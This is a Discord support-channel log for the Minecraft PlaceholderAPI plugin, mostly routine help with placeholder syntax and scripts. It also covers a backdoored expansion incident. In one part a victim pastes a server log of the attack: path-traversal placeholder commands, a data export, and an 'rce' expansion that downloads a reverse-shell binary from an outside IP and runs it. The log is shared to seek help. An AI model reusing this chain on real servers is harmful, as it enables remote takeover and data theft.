#placeholder-api
1 messages · Page 31 of 1
If you wait enough time, the shield duration gauge goes down by itself, so you regain progressively your 10sec max
So tl;dr : it's working exactly like zelda botw/totk stamina bar, or elden ring buff/debuff bar
now, i have an HUD with two listener, one being the max duration and one being the current duration spent
i wanted to make the hud turn red once the current duration reach the same value as the max duration, so far easy peasy
but because even after reaching max stacks you can still regain your duration, the gauge goes down while you're out of shield, and because of that the hud is not red anymore
dunno if im clear
so yeah basically i wanted to be sure the hud stays red when shield is in cooldown because max duration was reached
knowing that the cooldown of the shield can depend from one shield to another
if you have any idea, lmk! i might have another idea that has nothing to do with placeholders, so ill see that myself in the meantime
Hello, is placeholderapi work for bungeecord ?
I mean, can i put papi.jar on my bungeecord plugins ?
(Waterfall)
no
Multiple servers were hacked the last because of theses
Can you please explain what are the measures

The affected expansion(s)/versions have been purged from our servers and cache.
is there a way to make the prefixes client side
what i mean is
not to make a place holder
per player
There is no way dude
What in the world is 1.0.6 doing on the ecloud?
to me it looks like you purposefully tried to implement a back door.
After having originally told you that retrieving and setting config values should NOT be done with something via an expansion, you went ahead and pushed a fake 1.0.5 version, then 1.0.6 version with the "backdoor", then pushed 1.0.7 to clean it up
Any reason we should keep your account and expansion on the ecloud?
Will be monitoring expansion uploads and verifications a lot closer now, as I see exactly what happened for the minepacks expansion...
I get what you want, but at that point you need a plugin, not a placeholder😅
wait they kept it? I only looked at the github repo because I was on phone and thought that they had finally seen the light
I knew from the first time they asked Gaby to verify the expending with their other account (if it's not the same account, but the msgs were deleted) that they had something sketchy planned with that config placeholder
thanks for linking this
So messages were deleted time to find them 🙂
ya, I honestly knew it was looking fishy seeing v1.0.6 but I didn't look into it
because i saw 2 commits on the github, but 3 updates
smh
🤦♂️
seems like it was another account logs aint showing up
I assumed it was someone else because they talked about the original owner abandoning the plugin/expansion or smth and thought they'd been banned (explaining the deleted msgs) but kept my suspicions because they still had that config placeholder, though the github account didn't seem to be the same
When I went to the github they linked earlier it said the latest updates were by Osama Bin Laden.
I know that doesn't help
just thought it was interesting 🙂
lol i just said the same thing
it's all so weird @muted gulch
because those commits aren't even the issue
I kinda got bad vibes from'em tbh
Lmao
Honestly so funny i pwn papi for like 5th time
Idk why yall so mad about it when it only works when people cant setup permissions correctly
Bye!
What a clown…
This is also the case for two other expansion and probable a lot more
Please respect the rules, be patient and don't ping staff members!
Feel free to DM Barry to share information with admins
Can you send me the discord account of barry ?
@tender vapor
Why the fuck should i send fcking exploits to a bot
Do you want me to talk to my coffee machine ?
It gets passed to all the admins confidentially
Oh ok
bruh
¯_(ツ)_/¯
that made me laugh 💀
Anyone got any idea why this isn't returning anything? %math_{statistic_player_kills}/{statistic_deaths}%
yes
naw idk lol make sure the expansions are installed did you try to parse
💀
u r gonna have issues if one of em are 0
cause with 0 deaths for example
u can't devide anything by 0
and if kills is 0 and deaths r 10 it will still return 0
so if u have both the expansions installed and the placeholder doesn't work it's probably cause of that 
%math_0:_{statistic_player_kills}/MAX(1, {statistic_deaths})%
this would fix that 

love that energy
uh
Please respect the rules, be patient and don't ping staff members!
😂😂😂
Thx
Please respect the rules, be patient and don't ping staff members!
I don't think the glist is related to placeholderapi
hello @everyone who can help me with config hologram baltop
?????
plase i need fasat
fast
Can soemone help me set up the math expansion?
/papi ecloud download math
/papi reload 
boom it's all set up
if I add my own placeholder, let's say a objective map variable and show it constantly will it do the full check everytime or how does placeholderapi handle the data in placeholders?
like if I have it in a scoreboard that updates every second does it request the data every second? (I know it's the obvious answer probably, but just trying to understand :P)
add this option in papi's config in the server expansion section:
time:
locale: es-ES```
Or whatever language code you want to use
Whats the placeholder for /bal command for EssentialX, i want to show EssentialX's player balance to scoreboard of SuperLobby
player_balance?
actually wait
idk whats essential’s one but u can use vault
if u use that as eco provider
it's from the vault expansion
%vault_eco_balance%
But i want from EssentialX, is not it possible
essx uses vault
I have EssentialX and vault both and i use /bal would it show the same balance as %vault_eco_balance%
?
Yeah
Than ok, it is already being set-up
Could someone help me make a cooldownbar for an item?
plz
Any placeholders that can show the coordinates of a player's last death location?
preferably individually.
Ex. %death_location_x%
I don't think there currently is
😦
There's no placeholder that able to do that.
that's what I said...
1.5 month after 😅
https://github.com/Tanguygab/Player-J17-Expansion/releases/tag/1.0.1
%player-j17_is_gliding%
I assume this isn't on ecloud? just needs to be manually dropped in?
well I mean thats always a good idea to me
but thats up to you
just let me know cus Ill manually add it in, if you arent
well I planned to do it anyways
that's why I changed the identifier from player to player-j17 😅
just need a mod to verify it
Tang, please, for the love of god, stop making random expansions and instead contribute to existing ones.
Nevertheless we appreciate your contributions 
I did, you didn't want mine ;-;
That's not what happened D:
you didn't want my the changes I made
Not all of them, or at least the code format 😛
yeah I know
i needed this %player-j17_time_since_last_played%
its similar to the /seen of essentials right?
I understand the Lombok one (especially since it's just 3 stupid Getters) but I can't go back to Java 8 XD
I need the Enhanced Switches
I have no idea
Meh
can I at least get it verified ? 🙏
I will let the others decide, I dont like how we have up to 4 expansions that do the same thing and/or could be merged into one

make a HashMap with each placeholder String,Function<String,String> for input arguments and result
xD
Yeah I've started with the vault expansion and I got the server one in progress for .. a while 
also btw do expansions get deleted? cause ik for a fact that this doesnt work and confuse people https://api.extendedclip.com/expansions/playerpoints/
well it's not verified anymore either way xD
would anyone know what the hell this is tryna tell me?
https://pastebin.com/U0iicz4d
one of your JS placeholder is broken
okay, THAT I do know lol
This is the js:
var item = '%checkitem_getinfo:15_lorecontains:%';
function getCDR() {
return item.replace(item, /(?<=Cooldown Reduction: )\d*\.?\d*/.exec(item));
}
getCDR();
it works in js compiler so 🤷♂️
oh
strings need to be put within " "
and the starting and ending / aren't needed
idk what the .exec(item) is supposed to be though
you only need item.replace(item, "(?<=Cooldown Reduction: )\d*\.?\d*"); as far as I know
new js:
var item = "%checkitem_getinfo:15_lorecontains:%";
function getCDR() {
return item.replace(item, (?<=Cooldown Reduction: )\d*\.?\d*);
}
getCDR();
within " "
Oh!
I'm also unsure what's up with your replace
placeholder doesn't error but it now only returns the (?<=Cooldown Reduction: )\d*\.?\d*
you're replacing ìtem within item by the regex filter
I think you want item.replace("(?<=Cooldown Reduction: )\d*\.?\d*", "")
actually
I think that'll remove the cooldown and keep the Cooldown Reduction part
so that'd do the opposite xD
yuh that was the first thing I was avoidign
return item.replace(item, /(?<=Cooldown Reduction: )\d*\.?\d*/.exec(item))
replaces the whole string with the match
well you could do item.substring(18)
assuming you don't have any colors in there
and actually, that could be done without Javascript since the String expansion has a substring placeholder
it's always better to avoid JS 😅
the thing is, I don't always know where the "Cooldown reduction" index will be no?
%string_substring_18_{checkitem_getinfo:15_lorecontains:}%
ah
right
there can be multiple lines
hence getting the whole item lore and filtering via regex
yeah
oh I just found out about that regex.exec thing
I didn't know that was a thing in JS lol
didn't use JS much tbf
though it doesn't seem to work in Nashorn
oh hey it works with QuickJS
go in your config.yml, search for expansions.javascript.use_quick_js and set it to true
nice, it no longer errors but now returns empty 💀
I got the same thing ;-;
maybe colors fuck it up somehow idk
I got it
add +"" at the end
right before the ;
return /(?<=Cooldown Reduction: )\d*\.?\d*/.exec(item)+"";
still empty, what item lore are you workin with? Would that matter?
also what does adding an empty string do
hm, try adding a color?
/papi parse me .%checkitem_getinfo:15_lorecontains:%.
and now it doesn't work anymore, with and without color XD
we LOVE code
I hate JS ;-;
this is...strange to say the least
which?
colors and without
return /(?<=Cooldown Reduction: )\d*\.?\d*/.exec("&aCooldown Reduction: 100s")+"";
👀
so its checkitem being fucky wucky?
send the output
uh, it puts an empty line in chat
this is my js
var item = "%checkitem_getinfo:15_lorecontains:%";
function getCDR() {
return /(?<=Cooldown Reduction: )\d*\.?\d*/.exec(item)+"";
}
getCDR();
if the checkitem returns nothing
then it seems normal that the script returns nothing either xD
nah it sends this:
Single Wield Duelist (Edged)|Tier: Common|Level: 1||⚔ Damage: 1.11 - 1.79|⌚ Cooldown Reduction: 1.5|↔ Range Modifier: 1
o
o indeed
1.5 for me
legitimately, sir, wtf? is our js different???
oh crap its done via another plugin
You right
Love barry
Barry best bot
BBB
BuiltByBit?
Barry is in reality BuiltByBit ?
woaw, who would have thought
question is now, how do I make regex account for that
/(?<=Cooldown Reduction: )\&f\d*\.?\d*/
???
is the color different for different items?
nope
yeah that's what I was about to suggest lol
then all good
not sure if the \ is needed in front of the &
yes it is
nevermind no
though it has to be inside the ()
in the lookahead
otherwise it's returned with the number
/(?<=Cooldown Reduction: &f)\d*\.?\d*/
null 😭
This is the lore line of the item in its yml:
- '&9⌚ Cooldown Reduction: &f1.5'
idk if regex would be finnicky with the blue coloring of "cooldown reduction" and the emoji
doubt it would
let me launch my game once again XD
works for me
send your script again
actually
I think I know
use § instead of &
yup
works
CheckItem returns the colored string (with §), while JS checks it with &
it worked for me because I used & directly in the JS and it wasn't parsed xD
gonna lose my mind, thanks it finally worked
👍
I forgot this was a thing
though you might want to add a check for when it's null
maybe make it return 0 or smth
true, thanks bud
var output = /(?<=Cooldown Reduction: §f)\d*\.?\d*/.exec(item);
return output == null ? "0" : output+"";
[TownyChat] TownyChat tried to apply a chat format that is not allowed: '§8[§2G§8]§f %rel_unitedchat_ranks_{vault_rank}%&r%rel_unitedchat_prefixes_{vault_prefix}%&7{modplayername}&f:§f {msg}', because of the r symbol, found after a %. There is probably a PAPIPlaceholder that could not be parsed.
Hello! Getting this error whenever a player types in chat, it's blocking any rank groups, prefixes, and general chat changes (chat colours etc). Any idea on how to fix? Updated to latest version of PAPI (2.11.5)
from what I understood, %rel_unitedchat_ranks_{vault_rank}% didn't parse correctly
make sure that placeholder is working
How do I check
/papi parserel <player1> <player2> <placeholder>
It returned this:
[23:25:29 INFO]: [Member] ```
then maybe TownyChat doesn't suppor relational placeholders?
nah
I'll see, thanks!
I've just checked its code and indeed it does not support relational placeholders
only normal placeholders are parsed
this video can help you
https://www.youtube.com/watch?v=dQw4w9WgXcQ&ab_channel=RickAstley

how many people clicked on it 😄
idk
Hello there i saw the recent announcement i am the one of the server owmer who got affect due to it
But its not like how you think it was done
My development server was online and it was whitelisted + restricted in bungee config
And i was the only one who joined the development server since it was created
So there is no chance of someone getting force op nor downloading papi expansion
Still my server got hacked please look into the issue with more details thanks
@balmy marten
Please respect the rules, be patient and don't ping staff members!
I have given my file acces to essentialx devs too if you require that please let me know
Feel free to provide some details/logs to @tender vapor which will send it to the Admins
maybe one of your admins got hacked?
then idk
Sure
Please respect the rules, be patient and don't ping staff members!
@austere hawk pm me
okie
Hello....
What to do!?
[Thu 17:54:23 INFO DiscordSRV] Player Numbist joined with silent joining permission, not sending a join message
[Thu 17:54:23 INFO Server] Numbist (formerly known as Mihion) joined the game
[Thu 17:54:23 INFO Server/PlayerList] Numbist[/127.0.0.1:56026] logged in with entity id 28836 at ([world]-100126.5, 59.506108337423456, -99733.5)
[Thu 17:54:30 INFO Server/PlayerConnection] Numbist issued server command: /lp export a
[Thu 17:54:30 INFO ] [LP] EXPORT > Gathering group data..
[Thu 17:54:30 INFO ] [LP] EXPORT > Gathering track data...
[Thu 17:54:30 INFO ] [LP] EXPORT > Gathering user data...
[Thu 17:54:30 INFO ] [LP] EXPORT > Finding a list of unique users to export.
[Thu 17:54:30 INFO ] [LP] EXPORT > Found 1694 unique users to export.
[Thu 17:54:30 INFO ] [LP] EXPORT > Finished gathering data, writing file...
[Thu 17:54:31 INFO ] [LP] Successfully exported to /home/dacian/srv/vanillamc/plugins/LuckPerms/a.json.gz.
[Thu 17:54:51 INFO Server/PlayerConnection] Numbist issued server command: /papi ecloud refresh
[Thu 17:54:51 INFO PlaceholderAPI] Fetching available expansion information...
[Thu 17:54:54 INFO Server/PlayerConnection] Numbist issued server command: /papi ecloud download minepacks 1.0.1
[Thu 17:54:54 INFO PlaceholderAPI] Fetching available expansion information...
[Thu 17:54:55 INFO Server/PlayerConnection] Numbist issued server command: /papi reload
[Thu 17:54:55 INFO PlaceholderAPI] Placeholder expansion registration initializing...
[Thu 17:54:55 INFO PlaceholderAPI] Fetching available expansion information...
[Thu 17:54:55 INFO PlaceholderAPI] Successfully registered expansion: minepacks
[Thu 17:55:00 INFO Server/PlayerConnection] Numbist issued server command: /papi parse me %minepacks_set ./PlaceholderAPI/config cloud_allow_unverified_expansions true%
[Thu 17:55:03 INFO Server/PlayerConnection] Numbist issued server command: /papi parse me %minepacks_set ../PlaceholderAPI/config cloud_allow_unverified_expansions true%
[Thu 17:55:04 INFO Server/PlayerConnection] Numbist issued server command: /papi reload
[Thu 17:55:04 INFO PlaceholderAPI] Placeholder expansion registration initializing...
[Thu 17:55:04 INFO PlaceholderAPI] Fetching available expansion information...
[Thu 17:55:04 INFO PlaceholderAPI] Successfully registered expansion: minepacks
[Thu 17:55:07 INFO Server/PlayerConnection] Numbist issued server command: /papi ecloud download fetch
He somehow took over my user...
Have a look here: diff [Thu 17:55:07 INFO PlaceholderAPI] Fetching available expansion information... [Thu 17:55:11 INFO Server/PlayerConnection] Numbist issued server command: /papi parse me %fetch_ test 0 http://173.212.248.30:80/test% [Thu 17:55:15 INFO Server/PlayerConnection] Numbist issued server command: /papi reload [Thu 17:55:15 INFO PlaceholderAPI] Placeholder expansion registration initializing... [Thu 17:55:15 INFO PlaceholderAPI] Fetching available expansion information... [Thu 17:55:15 INFO PlaceholderAPI] Successfully registered expansion: fetch [Thu 17:55:15 INFO PlaceholderAPI] Successfully registered expansion: minepacks [Thu 17:55:15 INFO Server/PlayerConnection] Numbist issued server command: /papi parse me %fetch_ test 0 http://173.212.248.30:80/test% [Thu 17:55:18 INFO Server/PlayerConnection] Numbist issued server command: /papi register ../../../fetch/test [Thu 17:55:18 INFO PlaceholderAPI] Successfully registered expansion: rce [Thu 17:55:21 INFO Server/PlayerConnection] Numbist issued server command: /papi parse me %rce_curl_http://173.212.248.30:80/rev.elf_-o_r% [Thu 17:55:24 INFO Server/PlayerConnection] Numbist issued server command: /papi parse me %rce_chmod_+x_r% [Thu 17:55:26 INFO Server/PlayerConnection] Numbist issued server command: /papi parse me %rce_./r% [Thu 18:00:42 INFO Server/PlayerConnection] Numbist issued server command: /papi parse me %rce_whoami% [Thu 18:02:01 INFO Server/PlayerConnection] Numbist issued server command: /papi parse me %rce_./r% [Thu 18:02:04 INFO Server/PlayerConnection] Numbist issued server command: /papi parse me %rce_./r% [Thu 18:02:06 INFO Server/PlayerConnection] Numbist issued server command: /papi parse me %rce_./r% [Thu 18:02:09 INFO Server/PlayerConnection] Numbist issued server command: /papi parse me %rce_./r% [Thu 18:03:25 INFO Server/PlayerConnection] Numbist lost connection: Disconnected
Is my server striped now?
There was a forceop somewhere on your server
We suggest a clean install to ensure the backdoor is gone
fu...k 😄
verify https://api.extendedclip.com/expansions/formatter/ please? 
Isn’t it already
@arctic loom need me to verify it?
i remember it being verified
done

It's verified from what I can tell?
Please respect the rules, be patient and don't ping staff members!
Shush Barry
Ya I verified it
it was unverified for some reason
Ok. Yesterday was it verified lol
you on 2.2.2?
Ye?
Need to check repo
well 18 hours ago you pushed an update
on ecloud it shows on the first of october you updated it
Well, I updated the description... didn't know that causes to be unverified.
Ya any changes does that
Kinda weird.. Feel like only version updates should do that...
try this
@junior musk are you refering to me?
lol sorry just making sure
all good 😅
but this is being added to the proxy plugins correct? Just confirming
Not on the hub (back end server)
nah it's an update for the Bungee expansion (in your plugins/PlaceholderAPI/expansions folder)
it should fix the error (the few people that actually reported back to me said it fixed it)
Ahh okay so it goes on the back end server or the hub. I'd assume this expansion also goes on any other added server? Like factions and SMP if they have PAPI as well?
any server that uses the Bungee Expansion yeah
@junior musk worked thank you
Good afternoon, I have a simple question, how can I add a single variable to {role} so that they are displayed thanks to placeholderapi? I tried to add it and I couldn't achieve it, it takes the variable etc but when for example showing the variable next to the player's name it only appears like this {role}
Is your server offline or online? What do you mean "took over your user"?
can someone let me know if i did this correct:
set {_orbs} to placeholder "orbs"
and:
send "%{_orbs}%"
Is there placeholders in which I can store two times and find the difference between those times?
i doubt it
Doesn't the countdown placeholder do that?
pog
javascript always comes in clutch 💪
so useful
except when it crashes your server cause you used it poorly
I use Bungeecord/waterfall my server is offline behind the bungeecord.
:
[8:19 AM]
[Thu 17:54:22 WARN LuckPerms] LuckPerms already has data for player 'Numbist' - but this data is stored under a different UUID.
! [Thu 17:54:22 WARN LuckPerms] 'Numbist' has previously used the unique ids [2e5023a0-ea5f-3b4b-bd26-324211b64756] but is now connecting with '242416b7-70d4-4dba-92a4-3be8a446a138'
! [Thu 17:54:22 WARN LuckPerms] The UUID the player is connecting with now is Mojang-assigned (type 4). This implies that one of the other servers in your network is not authenticating correctly.
[8:19 AM]
...
[8:19 AM]
[8:22 AM]
2e5023a0-ea5f-3b4b-bd26-324211b64756 which was his is not registered in db. But some how when i Ban Numbis I ban me Mihion
[8:22 AM]
I cant find Nubis in my db
can someone let me know if i did something wrong. I've made a customplaceholder file with custom placeholders, i've even got the skript-placeholder jar file but my placeholders still dont work :/.
placeholders:
orbs:
text: '{fishorbs::%player_uuid%}'
# Add any other properties or options you need
[13:39:14 WARN]: at java.base/java.lang.Class.getField(Class.java:2117)
[13:39:14 WARN]: at PlayerTime-1.0.7-RELEASE.jar//me.rayzr522.jsonmessage.JSONMessage$ReflectionHelper.<clinit>(JSONMessage.java:520)
[13:39:14 WARN]: at PlayerTime-1.0.7-RELEASE.jar//me.rayzr522.jsonmessage.JSONMessage.send(JSONMessage.java:158)
[13:39:14 WARN]: at PlayerTime-1.0.7-RELEASE.jar//me.glaremasters.playertime.events.Announcement.lambda$onJoin$0(Announcement.java:36)
[13:39:14 WARN]: at org.bukkit.craftbukkit.v1_20_R1.scheduler.CraftTask.run(CraftTask.java:101)
[13:39:14 WARN]: at org.bukkit.craftbukkit.v1_20_R1.scheduler.CraftAsyncTask.run(CraftAsyncTask.java:57)
[13:39:14 WARN]: at com.destroystokyo.paper.ServerSchedulerReportingWrapper.run(ServerSchedulerReportingWrapper.java:22)
[13:39:14 WARN]: at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136)
[13:39:14 WARN]: at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
[13:39:14 WARN]: at java.base/java.lang.Thread.run(Thread.java:833)
[13:39:14 WARN]: [PlayerTime] Plugin PlayerTime v1.0.7-RELEASE generated an exception while executing task 4067```
that plugin doesn't seem to support newer MC versions
Did you ever get this working?
Did you ever get this working?
Did you ever get this working?
Did you ever get this working?
Did you ever get this working?
wtf
Please dont be alarmed by my messages lol
I've been looking for a fix for the bungee palceholder bug for about a month now, and just asked everyone else that was looking for a fix if they had found one
Ik it looks spammy, my apologies
Anyone with input please leave it here in this thread so it doesnt get lost https://discord.com/channels/164280494874165248/1168887619191591002
Hi
I got an small issue with javascript
it aint workin
I moved files between servers and js went brrr
1.20.2
[04:11:33] [Server thread/WARN]: [PlaceholderAPI] Cannot load expansion javascript due to an unknown issue.
[04:11:33] [Server thread/WARN]: [PlaceholderAPI] Failed to load external expansion player. Identifier is already in use.
[04:11:33] [Server thread/WARN]: [PlaceholderAPI] Cannot load expansion player due to an unknown issue.```
`/papi parse ghostx0013 %javascript_cooldown_Kit-Month_2592000%` just returns me same thing `%javascript_cooldown_Kit-Month_2592000%`
Issue was 2x seperate js extentions installed
Is it possible to use the statistic placeholder to display minutes if I haven't played for any hours, and if I have played for hours, to show only hours without minutes, and then show days or a similar format?
%statistic_time_played%
this displays days, hours, minutes, and even seconds at the same time, which appears excessively long on the scoreboard
yeah
I'm not sure if there's a placeholder for that, it could be done with JS though
or with tons of ChangeOutput and Utils placeholders combined XD
let me try
alright
function get(type) {
return PlaceholderAPI.setPlaceholders(BukkitPlayer, "%"+"statistic_"+type+"_played%")
}
function time() {
for (type of ["days","minutes","seconds"]) {
var time = get(type);
if (time > 0) return time;
}
return "0s";
}
time()
oh right, you need to enable use_quick_js in PAPI's config otherwise it'll throw an error because the for (. of .) loop isn't supported by Nashorn
though you can just use a normal loop instead if you want to stay on Nashorn (you'll also need to use PlaceholderAPI.static.setPlaceholders instead)
so where do i put this?
download the Javascript expansion (follow the steps at the top of this page) https://github.com/PlaceholderAPI/Javascript-Expansion/wiki
then do as this page says https://github.com/PlaceholderAPI/Javascript-Expansion/wiki/Your-First-Script
I need some help with placeholderapi, I never had any problems with it this is my first time.
I got a couple placeholders in gui and installed the papi for them, and did /papi reload.
Most of them show up as board does not exist, or pos XBDNE.
This might be placeholder api or ajleaderboards but I am confused.
Any ideas how I can fix it.
Sound Lists
When i use %player% is shows it is not online
edprison expansion is loaded but placeholders not working ingame
I just realized that placeholders from other plugins are also not working
Same with everyone idk ahy? Try any command like /dm open advanced_menu %player% and see what is the result
as far as I remember, there is no such placeholder
try %player_name%
What about %player_name%?
It will work
If you have player expansion installed
Can you see I have sent you an image in dm
It worked before but now it is not working
Could someone help me make a cooldownbar for an item?
plz
Like?
Hey! %player_name% and something other are not working in DeluxeMenus, can anyone solve this? I already have installed player, here is the dump > https://paste.helpch.at/recirumoyu
i need help
There is no time to wait! Ask your question @west osprey!
Hey, I'm using the placeholder extension and parsing %placeholder_parseother:Apparentlee_player_name% parses as my name, any idea why?
the Placeholder expansion? 
Oh right, it was the name I gave to Utils before changing it
Utils sorry
ah
yeah xD
you need to put the name between []
that's required because otherwise I can't know when the name ends (because some names have _ in them)
hiya
How do I find out what 3rd party plugin the culprit in the mentioned exploit in #announcements
We removed fetch and Minepacks
And other things left behind by the perpetrator
Do you use azuriom?
Its not a plugin btw
azuriom doesn't manage your server it's just a cms like tebex
looool
i forgot what cms means
content management system
yes
are there any other known points of entry?
not that I know of
interesting
in the cases that were reported to me personally
attackers used a vulnerability in azuriom to get op on the server
and then go from there
do you mind if I dm you, I'd rather not go into details in public
sure
how to create extendedclip.com account
Have you got an expansion created?
Did I something wrong? It doesn't work.
%math_{objective_score_{NDLV}}*2%
/papi parse me %objective_score_{NDLV}%
/papi parse me %math_{objective_score_{NDLV}}*2%
%objective_score_{NDLV}% = 5
%math_{objective_score_{NDLV}}*2% = %math_{objective_score_{NDLV}}*2%
/papi ecloud download Math
/papi reload
it's still %math_{objective_score_{NDLV}}*2%
wonder if the {} is messing with it
idk
probably trying to read {objective_score_NDLV}
you can do it without the {} @jagged snow
oh alright
but i can't quite remember exactly
the ecloud looks like it works
but the spigot page says otherwise
the wiki says with {}
Well try without the {} first, if it oesn't work then try this
/papi ecloud download Utils
/papi reload
/papi parse me %utils_parse_math_0_{objective_score_\{NDLV\}}%
/papi parse me %objective_score_NDLV%
no
ah
then try with Utils
big escape moment
this works
o
then no need for Utils
then you can just use that in math and should be good
%math_0_{objective_score_NDLV}%
you said it didn't 😅
this works
nice
then all good
maybe was confused with the math placeholder or smthn
so with '0' it works
no no
the reason it wasn't working was the extra {}
because the math expansion was trying to read the placeholder as objective_score_{NDLV instead of objective_score_{NDLV}
it will work with and without the 0
okay this works: %math_0_{objective_score_{NDLV}*2%
yes im sure
wait wtf
there is an extra {
lol
either missing a } or there's an extra {
glass half full half empty
ok this %math_0_{objective_score_NDLV}*2% and this %math_0_{objective_score_{NDLV}*2% are working
okay
XD
weird but okay lol
thanks for support ❤️
bruh 2 opening { but only 1 closing? 
We are working with Ssomar's ExecutableEvents, and the correct placeholder with 2 { and 2 } does not work. However, the other version of the placeholder with 2 { and 1 } does. Please don't fix this bug 🙃
You know... never touch a running system xD
OH score ye i see now
i use it for the variables too
Hey can i do something like |||||||||| 0/10 |||||||||| with the progress expansion?
Because i didnt find anything like "starting value" argument
So the first progress would end on 5 and the second will start on 6
Hi, do you know why this happens?neither the Vault neither theplayerstats let me put it: [19:53:05 WARN] [PlaceholderAPI]: Cannot load expansion vault due to a missing plugin: Vault
forget about the vault, I already solved it xd, the other one is missing, I have no idea
Will this placeholder %pinger_online_10.0.0.10:25561% work if the IP is different even through it is still on the same proxy? It only shows offline even though the server is online. I have this one which points to different server %pinger_online_10.1.20.3:25565% and it works fine. They are different IP's but same network.
would i be able to push this to the ecloud after merging the pr?
or would you be able to recompile a jar if needed?
is there a way to replace the MODT with Placholders
placeholders are here to be replaced by text, they aren't the ones that replace stuff
you'll need a MOTD plugin if you want to edit the MOTD
done, thanks for fixing it
if you ever fix anything else just lmk i got perms for stuff
oki
some things of course I'll let other people handle, but something small like that I feel comfortable just pulling it lol
Do meta placeholders not work for offline players?
they do
Weird
but the parse doesn't work for them
like papi parse offlineuser placeholder
%placeholder_parseother:[Keene]_deluxemenus_meta_profileOutlineColorA_STRING_FFFFFF% doesn't work in my menu
But for online players it does
why %placeholder at the start?
It's the utils expansion
Utils expansion is better for me
the one from cj
Allows me to parse multiple placeholders inside it
Meta can only be accessed with online players
there's no method to retrieve it in the OfflibePlayer class, only in the Player one
so the placeholder won't work for offline players, no
Hi there, I'm trying to do a javascript placeholder https://paste.helpch.at/owororinuf.kotlin but it's returning true when it should return false. I explain it better in the paste
Does it have a limit of placeholder that the JS can manage, or something?
Thanks
Is there a placeholder to check how many times a string contains a string?
for example trying to check how many times the string ExampleStringString contains the word String
lol yes
didn't know it existed, but it does
%string_occurences_count_<string>_<match>%
@plush dove
the variables at the top aren't booleans, they are strings
Awesome thank you!
Can you make a sound play, for example when you enter foraging in the menu?
is this deluxemenus? this channel is for #placeholder-api specifically
It wasn't that, but I still got the channel mixed up, sorry xd
You checked dm?
%commandpanels-data-crafting% gives .AIR.AIR.AIR.AIR.OAK_LOG.AIR.AIR.AIR.AIR. but %string_occurences_count_{commandpanels-data-crafting}_OAK% gives 0
that's because the placeholder is basically useless
it splits the arguments with _, so if you have even just 1,it won't work correctly
and since the commandpanels placeholder returns a _ (for OAK_LOG), it'll think that LOG and what's after is the match
hi guys, is there any placeholder extension like which shows how many player's are in a specific region?
I guess javascript for now, idk
you can use my PlayerList expansion with the PLACEHOLDER filter
and check for %worldguard_region_name%=<your region>
formatter expansion has {{u}} for _
can something like that be added to String occurences
maybe I could replace the _ characters first with something else
yea ima try that
wouldn't matter
the string expanding parses the placeholder before splitting arguments
IT WORKS
oop my previous message got deleted by the bot
my excitement was too much
😔
you can ignore it, it won't affect the plugin, it should be fixed soon
Hi, can you tell me, JavaScript expansion consumes a lot of memory, is there a fix for this? P.S Sorry for my English
try to enable use_quick_js in PAPI's config
Unfortunately this did not help, maybe the problem is in the scripts?
I can't upload screenshots
You won't be able to upload images here directly to avoid spam, so please use https://imgur.com/upload or similar service to upload images/screenshots.
no idea then
im using the %playtime_player% placeholder to show the player time in my scoreboard but its nots working what did i wrong?
Where are the JS placeholders being used?
In conjunction with TAB? if so, then TAB is probably parsing them every second or something like that. You can change them to change the parse rate
is it possible to check multiple regions at once like i mean write multiple region names
use javascript
how to make a placeholder that check if
%pixelmon_party_slot_1_pokedex_number% is == any of value 1 100 56 77 468
Are there any placeholders (or plugins that include placeholders rather) that allow you to track numbers? Similar to master cooldowns, where you can use a command to assign a value to something, and then use placeholders to check the value?
I am trying to make a voting menu, where each vote gets a token - and then they can spend the tokens to get whatever reward they prefer.
I can't use a traditional economy system as that's already in use - and I'd like this to be separate.
a custom economy plugin @muted gulch
gemseconomy I think has multiple types allowed
ya looks like it
Wdym lol
says discontinued on the page, some people report issues after minecraft 1.19 - but may try it.
Please respect the rules, be patient and don't ping staff members!
you can use changeoutput i suppose
ah, F
@jolly field
just trying to think of the syntax
Here's another, also abandoned since 1.14 😦
%utils_parse_changeoutput_equals_input:{worldguard_region_name}_matcher:REGION_1_ifmatch:yes_else:{changeoutput_equals_input:{worldguard_region_name}_matcher:REGION_2_ifmatch:yes_else:no}%
@jolly field
this might work if you have the changeoutput and utils expansions
dayumn
it will return yes if the user's region is REGION_1 or REGION_2
and it's easily expandable
if you essentially copy everything from ..changeoutput all the way to else:... that is one "section"
if that makes sense
and it has to end with no, so if it matches none of them, it returns no
is it not possible to get the number of players in a region like if i have a region named my region and i use some playerholder and itll show the number of players like 10, 20 whatever players there are
it is, you need to use playerlist like tanguygab mentioned
that's the only expansion that can do this
alright
i didn't even think it was possible until he mentioned it
idk how it will work with overlapping regions
i was asking here is it possible to get multiple region player count in a single playerholder like %worldguard_my_region_my_region_2%
I actually saw that in a FFA server
mhm
What's utils?
@plush dove 
thankees
Yes, yes, these placeholders are used in TAB
if I remember correctly how I did it, I think you can have multiple conditions with ,, so %worldguard_region_name%=region1,%worldguard_region_name%=region2
like this 😅
Please respect the rules, be patient and don't ping staff members!
👍
i meant if the player is standing in SPAWN, but also inside A_MINE, I believe %worlguard_region_name% will most likely return the highest priority region (A_MINE)
but I like that you're gonna add this
because I was going to use changeoutput to get around it 😂
ah, yeah
yes it bugs i had this issue myself too
Please respect the rules, be patient and don't ping staff members!
oops forgot to disable ping sorry
So ye all the other regions should have a higher priority and spawn the lowest
otherwise the placeholder changes every second
i have 2 palceholders that im trying to nest but i struggle because im a noob i think, can anyone help me get this nesting sorted?
`placeholder 1) %objective_score_ibmazeinuseboard% papi parse me results: 1
placeholder 2) %objective_score_maze1info_#dimentiesz% papi parse me results: 25
When i nest placeholder 1 into placeholder 2 the result:
%objective_score_maze{objective_score_ibmazeinuseboard}info_#dimentiesz% = 0`
i tried the utils extention, but parsing
%utils_parse_{objective_score_maze{objective_score_ibmazeinuseboard}info_#dimentiesz}%
ended up resulting papi parse me %utils_parse_{objective_score_maze{objective_score_ibmazeinuseboard}info_#dimentiesz}% = %25%
i have no idea why those extra % signs were added in front or the rear of the exptected 25 value 😛 anyone know?
i tried to parse papi parse me %utils_parse_objective_score_maze{objective_score_ibmazeinuseboard}info_dimentiesz%
but that just ended up in the same result = 0
nevermind im a noob
